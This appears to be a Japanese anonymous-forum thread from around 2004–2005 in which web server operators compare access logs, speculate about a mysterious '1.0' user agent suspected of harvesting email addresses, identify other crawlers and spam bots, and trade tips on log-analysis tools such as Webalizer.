もちろんCATVとかからアクセスは接続元が一箇所でないことが明らかだから除いて。

>>390
"1.0"で他のUAでもアクセスしているものを調べてみた。
特に規則性は見受けられない。でもところどころ怪しいものもある。

gk6.leo-net.jp　11/29 - 12/19
12/08だけ"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"で正常なアクセス。
他は"1.0"

i222-150-95-133.s05.a015.ap.plala.or.jp　11/25 - 12/15
11/29に"アドレス収集+方法"というキーワードでyahoo検索から、"Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)"
他は"1.0"

asf-cable.c-able.ne.jp　12/01 -12/16
12/11だけ"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"で正常なアクセス。
他は"1.0"

yahoobb220001104004.bbtec.net　11/22 - 12/16
11/23と12/15に"アドレス収集"というキーワードでyahoo検索から
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"で来てる。

fw254.wainet.ne.jp　11/25, 12/09 - 12/14
11/25は"Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"だけど正常なアクセス。スパマーではない。
12月のアクセスは"1.0"

p2125-ipad35sizuokaden.shizuoka.ocn.ne.jp　12/05 - 12/07
12/06だけ"1.0"。
5日と7日は"Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"でスパマー。

61-199-185-202.catvy.ne.jp　12/04, 12/06, 12/13
12/06に"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"で普通のアクセス。
4日と13日は"1.0"

67.36.44.61.ap.yournet.ne.jp　12/05, 12/09
5日は"Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"でスパマー。
9日は"1.0"

>>391 Tnx
あやしいな。

p2125-ipad35sizuokaden.shizuoka.ocn.ne.jp　12/05 - 12/07
12/06だけ"1.0"。
5日と7日は"Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"でスパマー。

67.36.44.61.ap.yournet.ne.jp　12/05, 12/09
5日は"Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"でスパマー。
9日は"1.0"

　おいらもhttpdのreferer.logをわかりやすく集計してくれるソフトを
探しているんですが、何か情報ないですかねぇ？

「1.0」、昨日トップに１６６アクセス。
なんかここ１週間で、アホみたいに増えてきた気がする。

普通のUAでもアクセスあるってのは、
やっぱりトロイ系のなんかじゃないのかな？

"1.0"
これってHost名できてる？

追記があった。
http://shuhoudou.zive.net/~yas_/000200.php

"1.0"が、トロイやメール収集ロボットだと仮定して
１つ疑問があるんだが
日本のプロバイダからしかアクセスがないということは
日本のメール収集ロボットなのかな？

"1.0"は毎日10回以上コンスタントにアクセスがあるが、
日本以外のプロバイダだった試しがないんだよな......

日本でつくられた、日本人のためのメール収集ロボットということか...?
トロイだったら海外にも広がる気がする。

>>394
Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) がフツーのUAと言えるかどうかは
ビミョーなところ。

>>398
確かにそうなんだけど、とりあえず普通っぽいUAの時は
ログ見ると普通にアクセスしてるんだよね。
UAを作ってる、作ってないは別として、
多分ブラウザで普通にアクセスしてる気がするよ。

あまりに「1.0」のアクセスばかりになってきたので
>>396の方法で「1.0」弾いちゃったよ

1.0様専用メールアドレスには何も来てない･･･

>>396の
＞このことからこの「1.0」はリンクを追わない（事前に与えられたリストに従って動いてるだけ）か、
＞リンクをインデックスする速度が極めて遅いロボットかだと推察してます。
には納得。ただ、
＞もしワタシの想像通りこのロボットがメアド収集を目的としているなら、この動作は理に適ってます。
＞連絡先のメールアドレスは、「ディレクトリ内のファイル」よりも「ディレクトリインデックスとして
＞表示されるファイル」のほうに記述されてる可能性（蓋然性？）が高い。
はどうかな？

>>356
俺もかなり前から罠張ってるけど全然来ない。
メアド収集ではないんじゃないだろうか。

あとindex.*みたいなのを置いてないディレクトリにも来てるんだけど
このディレクトリにあるファイル（*.htmlみたいなの）には
少なくとも最近はまったく来てないんだよね
うちでは完全にディレクトリ狙い。

うーん、解ったのは主なアクセスの法則性だけか。
正体は未だ不明のまま…

そうですね、決まったディレクトリだけ何度も繰り返しアクセスはあるけど、
サイト全体をなめるようにアクセスはしてないみたいだから、
クローラの類じゃない気はしますね。

結局ナゾなままか。

スレが1.0に占領されているな。。

（・３・）　エェー　じゃあボクが変わりにのっとろうKA？

RSSMngで1時間おきに爆撃してくる奴がウザかったので強制退去処分に科した。

c4s-nat.cty-net.ne.jp - - [24/Dec/2004:09:37:09 +0900] "GET / 345 ：名無しさん＠お腹いっぱい。 ：04/12/ HTTP/1.1" 404 215
c4s-nat.cty-net.ne.jp - - [24/Dec/2004:09:37:09 +0900] "GET / 345 ：名無しさん＠お腹いっぱい。 ：04/ HTTP/1.1" 404 215
c4s-nat.cty-net.ne.jp - - [24/Dec/2004:09:37:09 +0900] "GET / HTTP/1.1" 200 1355
ＡＮＨＴＴＰＤで鯖してます。　これってなんですか？

>>409
本当だとしたらまさに "1.0" と同じ挙動だな。

うちでも"1.0"が嗅ぎ回っていてうざい。早速ポアしますた。

暇なツーチャンネラが遊んでるだけだって。

うちにくる c4s-nat.cty-net.ne.jp は、ほとんど全部 1.0 だ。

たぶん、ここ見ながら狙ってるんだ。

多分、

1. なんか実験で作ったツールのUAが(1.0)
2. 1.を真似てUA変えて遊んだやつ
3. 2.を真似てUA変えて遊んだやつ

って感じで拡散じゃね？

>>343

google にインデックスされてないページに 1.0 は来ない。

google にインデックスされてから数時間後に 1.0 が来た。
1.0 が来なくなったと思ったら google から消えていた(w

そもそも、UA変えただけのブラウザとは違うし･･･

>>343とかの単純なものじゃないってばさ。
複数のIPから、同一のターゲットにリクエストするこの挙動は、
少なくともスパイウェア系のツールだろ。

おもしろがってUAを変えているだけなら、ac.jpやco.jpからのアクセスがあってもいいはずだ。
大学や会社内にだって個人が自由に使っているパソコンはいくらでもあるからな。
そういうところからこのアクセスがないことからして、スパム屋がからんでいるとにらんで
いるんだが。

>621
どうもありが�d
出来れば上位3バイトが一致してるトコが理想なんだけどね･･･

誤爆orz

http://expserver.homelinux.net/~peo/diary/20041218.html#p02
2004-12-18
>たぶん日本人向けのspamメールだかフィッシング詐欺メールを作る業者が作ったアドレス収拾ソフトだと思われる．
>ところでアクセス先を日本のサイトに限定する方法は適当な日本語でググるとかいろいろあるだろうが，収拾
>ソフトを日本のホストにだけばら撒く方法はなんだろう．日本人しか使わないソフトウェアにトロイの木馬として
>組み込まれているのだろうか？

とりあえず、1.0トラップ掛けて２ヶ月くらいたつけど、
未だにそのメアドに何も来ない。

これだけ大がかりに広がってるくらいのソフトなのに
アドレス収集目的で実は収集出来てないってのはちょっと考えにくいな

メアド収集部分にバグがあるとかだったら笑うな。

最近、急激に減って全盛期の３割くらいしかないです。

他のものに変えてるんじゃないかな。
いずれにせよ気味悪いので注視する必要があるかもしれんが・・・

業者さんも年末年始は休むんじゃないの？

ロボットは働くんじゃねーの？

>428
サポートは休むだろうが、必要最小限度の緊急対応要員はいるだろ。
....そこの顔が青くなったISP、素直に白状しなさい :-P

年が明けてから1.0が一度も来てない。
そのかわり台湾方面から「3」というUAがMVAClientとセットで来るようになった。

ドキュメントルートに１日大体１５０ヒット位。
相変わらず来続けてるよ。

何度も何度も同じトコ来て何をしてるんでしょうね･･･

# スレ違いだったらすまそ。

apache のログなんだけど
xxx.xxx.xxx.xxx - - [02/Jan/2005:17:11:08 +0900] "GET /aa/bbb/bbs/index.html
HTTP/1.1" 200 11019 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
xxx.xxx.xxx.xxx - - [02/Jan/2005:17:11:09 +0900] "GET /aa/ccc/bbs/index.html
HTTP/1.1" 200 10145 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
xxx.xxx.xxx.xxx - - [02/Jan/2005:17:11:10 +0900] "GET /aa/ddd/bbs/index.html
HTTP/1.1" 200 9837 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
xxx.xxx.xxx.xxx - - [02/Jan/2005:17:14:41 +0900] "GET /aa/eee/bbs/index.html
HTTP/1.1" 200 12382 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
xxx.xxx.xxx.xxx - - [02/Jan/2005:17:14:42 +0900] "GET /aa/fff/bbs/index.html
HTTP/1.1" 200 10009 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
こんなログが大量に吐かれてます。

各 index.html には .jpg とかあるんだけど、それは持って行かない。
これって、referer 嘘ついてるメイルアドレス収集ワームかなんか？
でも、ここで公開してるアドレスにはスパム全然こないんだよね。
アクセス元調べると国内外問わず大量。

こういうのって何のアクセスだかわかる人いらっしゃいませんか？
うち、アップローダーだから画像の更新調べて取って行くツールとかかなぁ？
それにしちゃ 某家電販売店.co.jp からとか、ありえなさそうだし。
結構いろんな所から頻繁に来るのでログもかなり膨らむし、いい加減なんとかしてやりたい。

しばらく前からアクセス数が減っていたが、とうとう1.0が来なくなった。

\x91\xfc\x82\xcc\x92\xca\x82\xe8\x82\xb7\x82\xaa\x82\xe8\x82\xc5\x82\xb7 \x8e\xb8\x97\xe7\x82\xb5\x82\xdc\x82\xb5\x82\xbd~
こんなUAあったんだが、何？

>>435
ウチにはまだ来てるよ。確かに今年になって頻度は激減したけどね。

>>436
「只の通りすがりです失礼しました~」だな。

>>437
ｸｽｺ

「3」がうちにも来てた。
以前Openbotが来てたのと同じとこからだったよ。

1.0、うちはほとんど減っていない。
http://www18.big.or.jp/~fujiwara/ikki/admin/ashiato/analyze.cgi?Index
も減っているようには見えない。減っているところが、うらやましい。

>>440
ちなみに、その統計情報で 1.0 の次に頻出している
Netscape 4.78 [Win98] 220.99.102.*
ってのは、サーフモンキーアジアというところの
フィルタリング用ロボットだね。
うっとおしいからウチではハジくようにしている。

>>439
ウチに来た「3」は、台湾の匿名プロキシからだった。
tp-s2-c233-19.router.hinet.net [211.72.233.19]

1.0のアクセスって、深夜や早朝は少なくないか？　年末年始休み説はあんがい可能性が
あるかもしれないぞ。

おとといの夜に作ったばかりのページに早くもzj008108.ppp.dion.ne.jpと61-27-196-137.rev.home.ne.jpから
1.0が到来。ウチは1.0は弾いてるので、このページのURLは別のツールで収集したのだろう。
確かにUAがMozilla/4.0 (compatible; MSIE 6.0; Windows 98)なんてのがdionとかocnとかから来てるんだよな。
このUAも弾くほうがいいのかなあ。
でも、home.ne.jpからは新しいページのリンク元に来たはずの、それらしいアクセスがみあたらない。どういうことだろ。

どこかを拠点にして情報を共有しあってるってことだよね

このページは作りたてだし、奥まった目立たないところにあるから、まだあまりアクセスは
ない。それなのに、立て続けにbbtec.netとかtvnet.ne.jpからも1.0が来襲。結果的に
1.0トラップを作ったようなものだな。tvnet.ne.jpからの今年の一発目のアクセスが
この新しいページへのものだから、情報を共有しあっていることは確定だ。

1.0は意外とスパイウェアかアドウェアみたいなモノなのかもだ。
そういうモノなら、情報を共有しあうこともあるんじゃないだろうか。

1.0、年をまたいでまだ正体がわからないとは…
スパイウェアやアドウェアにしても、
日本のドメインからしかアクセスがないってのがなんか謎なんですよね
もしかして2chブラウザとかだったりして

ウチに初めて1.0がやってきたのは１年以上前の2003年11月、
162.38.244.43.ap.yournet.ne.jp [43.244.38.162] からだった。
このホスト名をググってみると、net-staff.jp というスパマーのようだ。
かなり怪しい。

その後の1.0は以下の通り。
2003/11/25 162.38.244.43.ap.yournet.ne.jp [43.244.38.162]
2004/01/13 162.38.244.43.ap.yournet.ne.jp [43.244.38.162]
2004/02/03 162.38.244.43.ap.yournet.ne.jp [43.244.38.162]
2004/04/09 EATcf-520p203.ppp15.odn.ne.jp [218.46.193.203]
2004/04/23 ZG162189.ppp.dion.ne.jp [222.2.162.189]
2004/04/24 YahooBB220008128046.bbtec.net [220.8.128.46]
　この間はアクセスなし
2004/11/04 210-194-124-53.rev.home.ne.jp [210.194.124.53]
　これ以降、あちこちから頻繁にアクセスあり

やっぱりメールアドレス収集業者かな。

あ、ログをよく見たら、1.0 に加えて例のメール収集ロボット
Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
で来ているホストが数個あった。
いずれも Yahoo*.bbtec.net だ。
やっぱり業者のツールなんじゃないの？

http://www.birthday-p.co.jp/logs/access_log
は12月31日から1月11日あたりのログファイルらしいが、このなかで、1.0のアクセスは521回。発信元は189箇所。
発信元が散らばっていることを改めて確認できる。

barak.net.ilからはUserAgent/1.0っていうのが来ていて一瞬どきっとしたが、これはイスラエルのエージェント？？

>>450
YahooBBでまとめられてもなぁ。
全く同じIPアドレスじゃないとなぁ。

>>452
ごめんね、分かり難かった？
1.0 と "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" の
両方で同一ホストから来ている例がいくつかあった、って言いたかったんだけど。
だから業者なんじゃないの？　って言いたかったんだけど。
で、それはいずれも Yahoo*.bbtec.net だったとも書いたけど、
これ自体は「業者である」という理由のつもりはなかったんだけど。
ホント、分かり難い文章書いちゃってごめんね、ボク。

大人げない会話はやめようぜ('A`)

>>450
YBB以外はどうなの

>>450
それは前から指摘されてて実際臭いんだけど
罠はってもメアドが収集されないのはなぜだろう。
ディレクトリを登っていくというアクセスパターンをとるのはなぜだろう。
ていうとこから前に進まない。
>>384-392を参照

Soralisにおいてポート別にアクセスを行ったIPまでわかるログとその見方を
教えてください。
誰か知らないが、Oracleのストアドプロシジャを変更したIPを見つけたいのです。

>>457
つ[Oracleのマニュアル]

ここで言っている「アクセスログ」とは、ほとんどweb serverの
ログの事だよ。

>>457
Oracleのstored procedureってなんだか知らんが、プログラムを改変
されたって事？ひょっとしてOracleサーバへのアクセス制御やってない
とか？(絶句)

ログがあるかどうかはOracleの機能や設定によるだろうからなんとも
言えないけど、一般的な方法で事後に知る方法はない。何回もやられる
のなら、Ethereal等でパケットダンプを取ればある程度わかるが...まず
運用およびネットワーク構成を見直すほうが先だね。

>>457
別の可能性としては、457はphpスクリプトでOracleを使っていたけど、
誰かに中身を書き換えられたって言いたいのかな？
入力を検査していなかったため、不正なSQL文が実行できるようになって
いたんじゃねぇの？

まったく457は、IP「アドレス」を忘れるし、質問に必要な最低限度の情報
も書かないし、困った香具師だ。

それ以前の話として、「Soralis」って・・・

>461
それは日本人にありがちな間違いだ。そっとしておけ。
おまいや俺だっていつやらかすかわからんし。

ia_archiverってUAの詳細わかりませんか？
crawl30-public.alexa.comから来ているんだけど、
/aaa/bbb/ccc/0.gif
って感じに、実在するディレクトリの「0.gif」をひたすら叩きに来ている。
勿論0.gifなんて無いんだけど・・。
何をやりに来てるんだか判らない。
１日２〜３０ディレクトリの0.gifを探している。

alexaってたしかスパイウェア作ってる、調査会社ですよね？
何やってるんだろう。

Cerelonとかもありがちだしな。
http://ascii24.com/news/i/hard/article/1999/05/24/617069-000.html

>>463
ぐぐれば一発だろ。WebArchiveだ。
http://c-moon.jp/robots.shtml

あ。そっか。
見たことあると思ったらWebArchiveのUAか。

でも明らかにWebArchiveとは動作が違うし、
リモートホストもalexaなので、完全に騙ってるようですね。

>リモートホストもalexaなので、完全に騙ってるようですね。

ググれ
http://blog.fineart.jp/taku/archive/0001/01/01/476.aspx

>>466
もうね、馬鹿かと、あほかと。

「1.0」は相変わらず来てる？
2回見かけただけで来なくなったけど。

>>469
量は減ったかもしれないけど、相変わらず1.0来てるよ

こっちも相変わらずだ。
http://www18.big.or.jp/~fujiwara/ikki/admin/ashiato/analyze.cgi?Index
http://www.birthday-p.co.jp/logs/access_log
もそんなに減っていない

>>469
「1.0」は1月前半は全く来なかったのに1/15あたりから毎日来るようになった。
あと謎の「3」もよく来る。

謎の「3」・・・。
増殖してるのか？

UserAgent「1.0」のメモ
http://blog.goo.ne.jp/a10s/e/1b619b5a56054a6122e1c8ee7181954c

メールが全然っ来ないのが非常に不気味･･･
とりあえず各1.0ごとに別のhtmlを食わせてみる。

今朝、"Mozilla/4.0 (compatible; MSIE 6.0; Win32)"を名乗る
yahoobb218130150013.bbtec.netに絨毯爆撃を食らいました。
最初の数アクセスだけ
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (R1 1.3); .NET CLR 1.0.3705; .NET CLR 1.1.4322)"
だったんだけど、その後上記のUAに変わり、
ディレクトリを登ったりリンクを辿ったりしてひどかったよ。
http://takayuki.oniichama.net/r/2004010602.php
↑ここでも報告されてるけど、みんなのところはどう？
"Mozilla/4.0 (compatible; MSIE 6.0; Win32)"って正常なUAだっけ？
拒否しても問題ないかな。

どう見ても機械的なアクセスなんだけど
しっかりReferer もあった。

>>476
ダウンローダの詐称UAだと思ったけど、spamBotがそのUAを
名乗ってたこともあるので注意した方がいいかもしれない。
うちは絨毯爆撃は受けてないけどメアドの書いてあるページやCGIへの
アクセスは拒否してる。

>>478
http://koshipa.net/archives/000127.html
ここでも報告されてました。
やっぱ危ない連中ですね。夜にも来てたので拒否しました。。

普通のMSIE 6.0;ならWindows*のはず･･･

>>480
そだね、たしかに。

"Microsoft URL Control - 6.01.9782"というのが来たんだけど
これはなんだろう。。

>>481
Microsoftが提供するWWWアクセスライブラリのデフォルトUAだけど、
掲示板爆撃ツールがよくこのUAを名乗ってる。deny推奨。

ググってみるとMicrosoft URL ControlのUAで書きこまれた
ゴミ広告が大量にヒットするね。
掲示板スパムツールだわ。

英語わかんないのでおせーて
ttp://www.apnic.net/db/dbcopyright.html
↑ってなに

>>484
http://www.excite.co.jp/world/english/web/

>>484
それくらいは読めるようになっておいたほうが身のためだぞ。
辞書引け。

ここは2003年の7月から来ているらしい。>UA1.0
【UA1.0の謎】
ttp://antispam.blfan.org/ua10.htm

バーチャルホストのログをLogFormatに%vと書いてまとめて同じファイルに出力しているんですが、
これを複数のバーチャルホストをまとめて解析できるツールってないですか？
analogやWebAlizerだと一個一個設定ファイル書かないといけないような感じなのですが。

２００２年の１２月頃、依頼で、Win,UNIX系の両方で動く、メールごそっと取得スクリプト
作ったことがあるが、その時、UAは「1.0」だけにして業者に提供した。
なんか気になるなあって思っていたら、今日朝起きてふと思い出した。
wwwcpって無料のスクリプトを半分ぱくって作ったPerlで、コピーし放題で、
又売りされているのは知っていたが、まさかと思うが、俺のじゃないよなー　怖い、怖い。

>>488
HTTP-ANALYZEができたような気が
http://www.http-analyze.org/

>>490
なるほど、それは日本語化とかされてますか？

>>491
されてません

210.136.232.249
バリューコマース株式会社

？

>>489
どんなスクリプト？　ファイル名は何にした？

>>492
そうですか、わかりました、ありがとうございます。試してみてみます。
他に日本語化/日本語版で>>488のようなソフトがあれば宜しくお願いいたします。

>>436
みたいな文字列の日本語へのデコード手順は？

Apacheログ解析ツールで、日本語変換もしてくれる物があれば…

#!/usr/bin/perl

$string ="\x86\x68・・・・";
$string =~ s/\\x/%/;
$string =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
print $string;

コード変換も必要だがや。

＞$string =~ s/\\x/%/;
＞$string =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

なぜ
$string =~ s/\\x([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
じゃないんだろう・・・？

動きゃいい程度の技術が無いから決まってるじゃ無いかw

訂正
動きゃいい程度の技術しか無いから決まってるじゃ無いかw
鯖主であってプログラマーじゃ無いし。

"Java/1.4.1_04" というUAについてご存知の方はいませんか？
Referer は吐かず、リンクを二階層まで辿ってる。
ときどき、azu.cgi という存在しないアクセスを試してる。
リモートホストは"cdma-3g1x-189-236.zappmobile.ro"

ホスト名だけ見たら、海外の 3G CDMA 携帯に内蔵された Java ベースのブラウザと言ってみるﾃｽﾄ

いや、ＰＣ上のJavaで作ったツールから
CDMA携帯電話経由でアクセスしてるんじゃないか？

Java なんてブラウザあんのかな？

これも増えてるな↓
"DoCoMo/J-PHONE/KDDI/1.0 (CROOZ)"
http://blog.lunasys.net/item/20/catid/1

http://crooz.jp/
これか。

＞Java なんてブラウザあんのかな？

Javaで書くとデフォルトのUAが "Java/JDKバージョン" になるんだよ。

おお、なるほど
ということは "Java/" で拒否るのは可哀想かな

いや、UA=Java/* は殆ど全てが自動アクセスツールで、
（ブラウザのように）人間が目で見ている確率は
非常に低いから、全部拒否でもかまわないと思うぞ。

おねがいでつ★
誰か私のＨＰの荒してる人の情報を
調べてください・・・
ひどくて・・・
ログ表示設定にしてるんで・・・
してくれる方メルよろしくです・・・

まずアドレスここに書くと良いよ。

どうせフィッシングだろ。相手にすんな。

>>512
「フィッシング」の意味を勘違いしてると思う。ひょっとして「釣り」だとでも？

>513
そうか、むやみやたらにそれらしい電子メールを送りつけて、
返事が来た香具師をカタにはめるだけではフィッシングとは
言わないか。銀行等のweb pageに化ける奴と最初は似ている
から、混同してたよ。

>>513
雑魚釣り。

メール発射しますた。

漏れもメール今朝発射して出勤したのだが、返事がない。

釣りとか絶対ありぇませんよ。。。
本当に悩んでるんです・・・

自信を満足にするパートナーの貴方？？？？？

>>519
やっぱりメアド収集が目的だった、ってこと？

今朝からGoogleのロボットのＵＡが変わったっぽい。

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

crawl-66-249-65-83.googlebot.com からだからニセモノではないようだ。

別に今朝からではないです。

>>522
ぐはぁ、いま確認したら、確かにずっと前から来てた。欝。

最近wiki設置したからクエリーごとログを取りたくてawstats.confで
URLWithQuery=1
としたのですがこれでクエリー以降の文字列も解析できるのですよね？
(この設定だけじゃクエリーのデコードはできないだろうけど)

デコードするプラグイン等はないのでしょうか？

あぁ、検索エンジンからのクエリーを日本語化したらアクセスされたurlも日本語になりました。
検索クエリーはどうでも良かったのでスルーしてました、access_log丸ごと変換するんですね。

1.0 来なくなった。

> 1.0 来なくなった。
うちへは相変わらず。
p5024-adsah04motoma-acca.hiroshima.ocn.ne.jp - - [09/Mar/2005:17:57:45 +0900] "GET /foo/ HTTP/1.0" 403 13 "-" "1.0"
p5024-adsah04motoma-acca.hiroshima.ocn.ne.jp - - [09/Mar/2005:17:57:45 +0900] "GET /foo/bar/ HTTP/1.0" 200 15916 "-" "1.0"
p5024-adsah04motoma-acca.hiroshima.ocn.ne.jp - - [09/Mar/2005:17:57:45 +0900] "GET / HTTP/1.0" 200 2981 "-" "1.0"
しかし囮アドレスへのspam送信は、いまだ確認できず。

>>502に似たUAの変態アクセスがあったよ〜
237fw42.nec.com - - [11/Mar/2005:06:25:53 +0900] "GET /robots.txt HTTP/1.1" 200 24 "-" "Java/1.4.2_03"
237fw42.nec.com - - [11/Mar/2005:06:25:54 +0900] "GET /hoge.html HTTP/1.1" 200 9503 "-" "Ken"
237fw42.nec.com - - [11/Mar/2005:06:25:57 +0900] "GET /foo.rdf HTTP/1.1" 200 31339 "-" "Ken"
237fw42.nec.com - - [11/Mar/2005:06:25:59 +0900] "GET /var.html HTTP/1.1" 200 9193 "-" "Ken"
237fw42.nec.com - - [11/Mar/2005:06:35:35 +0900] "GET /hogehoge.html HTTP/1.1" 200 10092 "-" "Ken"

２月８日が最後だった。
うちだけだったのか。

1.0　来なくなったと思ったら、月に１、２回くらいの間隔でたまにやって来る。

うちはもっと頻繁にくるな。
まぁ全部撃退してるわけだが。

流れと違くてすいません。

webalizerを使ってapacheのアクセス解析をしています。
apacheのログファイルaccess_logが一定量になるとaccess_log.1.gzになります。
そうするとweblizerは新しくなったaccess_logを参照して以前のデータは表示されなくなってしまいます。

この問題を回避するにはどうしたらいいでしょうか
やはりaccess_logを圧縮させないでずっと同じファイルでログをとるしかないのでしょうか

よろしくおねがします

>532
問題じゃなくて、そういう仕様なんだって。
でかいテキストファイルを扱うのは酷だろうに。

>>532
1. access_log だけ食わせてれば前回までの集計結果以降の分だけが
集計結果に追加される。
2. 例えば (zcat access_log.1.gz ; cat access_log)|webalizer とか。
過去のをどれだけ食わせるかは自分の要求やマシンスペックと相談してくれ。

俺の場合 1. を cron で数時間おきに、2. を明け方に 1回実行してる。
webalizer.conf いじると 1. だけじゃ既に集計済みの方に変更点が反映されないので。

>>533-534
解答ありがとうございます。
webalizer側での対応で解決しそうですね

iplog使っているんだけど、グラフ化できないかな？
snortをbaseとpostgres使ってグラフ化しようと思ったんだけど、うまくいかないし、
net-snmpをrrdtoolとhotsanicグラフ化しようとしても画像が出ないし、
mrtgはインストールできないしでダルすぎ。
唯一できているのがwebalizerなので、何とかしたい。

pf+iplog+snort+net-snmp+clamavでｳﾏｧな予感がしていたのだが、
グラフ化できなきゃ意味無いじゃんｗ

一番ダルいのはお前自身。

よく見ろ、奴はCIAの回し者だｗ

>>532
これって Webalizer の Incremantal が Yes になってないだけじゃない？

net-snmpでmakeするときに
tcpTable_next_entry
tcpTable_free
tcpTable_load
が
inp_queue
でエラってる模様なんだけど、解決策ないかな？

日曜日は3件ほど来ていた。 ＞UA1.0
03/20 10:55 210.149.120.126 (ca6-nat.cty-net.ne.jp) 1.0 （三重？）
03/20 16:40 220.45.0.2 (YahooBB220045000002.bbtec.net) 1.0 （香川）
03/20 21:21 61.44.4.177 (177.4.44.61.ap.yournet.ne.jp) 1.0 （兵庫）
やっぱり日本のISPから、地域はバラバラで来ているな。

ttp://61.197.184.133/-/nonCERNproxy
この串って何ですか？

1.0、2月あたりからひどかったときの10分の1くらいに減ってる。まだ来てはいるが、
それほど気にならない程度になってくれた。それにしても、何だったんだ。

3月は、104アクセス中38回が1.0のアクセスだった。
（トップページだがリンクは貼られていない、ただし検索ロボットはやってくる場所）
1日1回強だから、落ち着いてきてはいるかな。

104アクセス中自分のアクセスは66？

> 104アクセス中自分のアクセスは66？
うんにゃ、自分じゃそのページにはアクセスしていない。
公開している下位のページから、検索ロボットが勝手に辿ってきたり、
訪問者がディレクトリを削って直接アクセスしてきたり。
> 03/02 09:31 68.142.249.179 (lj2169.inktomisearch.com)
> Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
> 03/02 18:55 207.46.98.44 (msnbot.msn.com)
> msnbot/1.0 (+http://search.msn.com/msnbot.htm)

生ログ見てると、行儀の悪いロボット君がいたからBangしてやった。
HTTP_HOST: sv-crawl.looksmart.com
HTTP_USER_AGENT: Mozilla/4.0 compatible ZyBorg/1.0 ([email protected]; http://www.WISEnutbot.com)

robots.txtもろくに読まず、410のステータスを返しても何度もやってくる。しつこい。

Bang?

ban と言いたかったけど無知だった、ってことじゃないの？

BorgとBangを掛けるとは、なかなかヤルなｗ

;y=-( ﾟдﾟ)・∵;; ﾀｰﾝ

昨日の18時頃と今日の16時頃に、203080097xxx.ctinets.com(xxxは任意の3桁)
からものっそい集中アクセス受けてる。ログ記録の間隔から言って、どう考えて
も「ページを見ている」って感じじゃなさそう。
ttp://www.ctinets.com/　に行ってみるとﾁｮﾝ系のWebサイトみたいなんだが、
ﾁｮﾝがウチのHPに何の用なんだ一体。ってか過負荷かけんなよ！！

>>552
掲示板の自動書き込みロボットという説がある
http://wiki.chongqed.org/WikiForum (050501b参照)

ところで、最近は香港の中華系住民のことを「チョン」と呼ぶようになったのか？

>>553
�dｸｽ。ロボットかぁ…掲示板は無傷なんだけど、ctinets.comの連続アクセス
以降、２時間に渡って訪問者ゼロ。どうやら鯖が落ちたらしいorz
掲示板は弾けるけど、無料HPスペースだから普通のWebページにアクセス規制
かけると規約違反になるので辛いｯｽ。
そのうち飽きて来なくなる事を祈りたいです。

香港のサイトだったですか…。てっきり中とか北とか思ってﾏｽﾀ。

携帯のｻﾌﾞｽｸﾗｲﾊﾞIDとか固体識別番号とかも見れるアクセス解析ってありますか?

>>555
君は何か勘違いしてる

>>555
固体識別番号は送信させればUAに入ってくるんじゃないか？

>>557
それはVodaphoneのみ。AUは独自のHTTPヘッダで送ってくる。
DoCoMoは(公式サイト以外には)一切送ってこない。

>>558
>DoCoMoは(公式サイト以外には)一切送ってこない。
それだと、2chに書き込めませんね

DoCoMoの公式サイトに送ってくるやつは機体識別ではなく
電話番号(個人)の識別になっている。
機種買い換えても電話番号持ってくると同じ識別コードになる

DoCoMo でも、リンクのタグを <a href="URL" utn> とすると
UA に個体識別番号が入ってくる（ただしダイアログが出る）。
詳細は↓参照。
http://www.nttdocomo.co.jp/p_s/imode/tag/utn.html

>>560
上のページを見ればわかるが、端末の個体識別情報と
SIMカードの個体識別情報の両方が入るよ。

いやだから、utnと公式サイトのはまったく別の物だって言ってるの

公式サイトの話なんて元々してなかったのにし始めた馬鹿がいる、それだけ。

またUAが 1.0 のやつ増えてきているんですが、うちだけですかねえ？

コンスタントにうちんとこには来てるねぇ

aipbot/1.0 (aipbot; http://www.aipbot.com; [email protected])
最近来る。サイトに行っても何の目的かわかんね。


関係ないがGooglebot、YSTは圧縮転送deflate対応で帯域にやさしいが、
msnbot、Infoseek SideWinder/2.0Bは圧縮転送に対応してないのかごっそり帯域使ってくれるのがむかつく。

ZyBorg/1.0 Dead Link CheckerはGETで来るが、デッドリンクのチェックならHEADで事足りないのか？と思う。

うちのUA 1.0なんだが、
・IPでトップディレクトにのみアクセスしてくる。
・自分のISPと同じホストからのみ
・内1つのホストからは10〜30分間隔でランダムで、1ヶ月ホスト変わらず。そのほかからは1日に4,5回程度で、ホストは固定ではない。
・頻繁にアクセスしてくるホストはIISでwebサーバ立ってる。(トップページはタイトルが「作成中」でIISのデフォルトページ？)

（;´Д｀）なんか特殊？

>>567
IISでサーバが経ってるってのは珍しいかも

gala.jpからのクローラーうぜーーーーーーーーーーーー

>>569
それ、自社のフィルタリングソフトのためのデータ収集ロボットだね。
普通のクローラーのようにリンクを辿っていくだけじゃなくて、
何かの検索エンジンでキーワード（例えばエッチな単語）を検索して
その結果から辿ってきているようにも見える。
（もちろんrefererは完全に隠蔽されているんだが）
確かに、特定の傾向を持つページ（つまりフィルタリングすべきページ）を
